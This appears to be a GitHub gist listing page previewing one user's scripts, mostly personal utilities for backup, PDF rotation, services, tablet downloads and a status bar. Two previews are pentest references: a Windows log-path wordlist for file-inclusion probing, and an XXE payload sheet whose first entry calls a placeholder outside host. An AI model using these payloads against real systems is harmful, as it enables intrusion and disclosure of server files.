This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# Essentially this is a wrapper around rsync to provide context switching and non-relative syncing of files. | |
# it's a Keep It Simple Stupid backup utility. | |
# During init you define a root, a remote backup server, and a profile name. | |
# From there you just enter the same backup server and profile name on any other host to backup and restore files. | |
# What files are backed up are determined by what symlinks you define in the backup directory. | |
# These symlinks will be followed in reverse to restore files to their original location after being pulled. | |
# That's it. | |
##################### CONFIGURATION | |
command -v rsync 2>&1 >/dev/null |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import PyPDF2 | |
import sys | |
rotatepages = [] | |
inps = sys.argv[1:] | |
if len(inps) < 1: | |
print("rotates pages of any pdf named inp.pdf, saves it to output.pdf") | |
print("usage: pdf_rotate.py <spaced delimited list of pages/page ranges>\nexample: pdf_rotate.py 9-12 15 17-19\nwill rotate pages 9 10 11 12 15 17 18 and 19") | |
exit(1) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/sbin/openrc-run | |
# to install: cargo install --git https://git.sr.ht/~deadjakk/batt-monitor | |
name="battery_monitor" | |
description="auto shutoff at 20% battery to prevent data loss" | |
command_user="root:root" | |
pidfile="/run/${RC_SVCNAME}.pid" | |
command="/sbin/battery_monitor" | |
command_args="-c /usr/sbin/hibernate-ram" | |
command_background=true |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# https://stackoverflow.com/questions/68484974/how-to-run-bash-script-as-background-process-on-system-forever | |
[Unit] | |
Description=My Shell Script for Sync | |
[Service] | |
ExecStart=/usr/bin/sync.sh | |
[Install] | |
WantedBy=multi-user.target |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python3 | |
# @deadjakk | |
# to use: just plug in remarkable 2 tablet, go to settings > storage > enable web application | |
# then run | |
# python3 ./remarkable-downloader.py # this downloads literally everything as a pdf | |
# alternatively, adding a word as an argument will only download files with that word in the name | |
# python3 ./remarkable-downloader.py "math-notes" # this downloads math-notes.pdf | |
# this could be cleaner... but I no longer use/have a remarkable 2 so I probably won't bother |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
echo installing xinitrc-xsession | |
git clone https://aur.archlinux.org/xinit-xsession.git /tmp/xinit-xsession | |
cd /tmp/xinit-xsession | |
doas cp xinitrcsession-helper /usr/bin/ | |
doas chmod +x /usr/bin/xinitrcsession-helper | |
doas cp xinitrc.desktop /usr/share/xsessions/ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
c:/all.txt | |
c:/apache2/log/access_log | |
c:/apache2/log/access.log | |
c:/apache2/log/error_log | |
c:/apache2/log/error.log | |
c:/apache2/logs/access_log | |
c:/apache2/logs/access.log | |
c:/apache2/logs/error_log | |
c:/apache2/logs/error.log | |
c:/apache/log/access_log |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# Original source: https://raw.githubusercontent.com/kaihendry/dotfiles/master/bin/dwm_status | |
# Network speed stuff stolen from http://linuxclues.blogspot.sg/2009/11/shell-script-show-network-speed.html | |
print_wifi() { | |
ip=$(ip route get 8.8.8.8 2>/dev/null|grep -Eo 'src [0-9.]+'|grep -Eo '[0-9.]+') | |
if=wlan0 | |
while IFS=$': \t' read -r label value | |
do | |
case $label in SSID) SSID=$value |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
-------------------------------------------------------------- | |
Vanilla, used to verify outbound xxe or blind xxe | |
-------------------------------------------------------------- | |
<?xml version="1.0" ?> | |
<!DOCTYPE r [ | |
<!ELEMENT r ANY > | |
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt"> | |
]> | |
<r>&sp;</r> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
echo "enter username:" | |
read USERNAME | |
echo "enter # of gigabytes the home drive should be, just the number" | |
read SIZE | |
echo "Executing:" "sudo dd if=/dev/null of=/$USERNAME.img count=0 seek=${SIZE}G" | |
cd / | |
sudo adduser $USERNAME | |
sudo rm -rf /home/${USERNAME} # removing the home directory it created | |
sudo dd if=/dev/null of=/$USERNAME.img count=0 seek=${SIZE}G |
NewerOlder